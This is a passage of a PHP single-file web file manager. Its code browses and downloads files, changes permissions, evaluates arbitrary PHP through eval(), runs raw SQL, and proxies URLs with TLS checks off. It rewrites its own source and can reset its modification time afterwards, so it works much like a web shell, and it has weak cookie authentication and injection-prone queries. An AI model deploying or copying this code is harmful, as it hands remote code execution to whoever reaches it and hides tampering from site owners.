	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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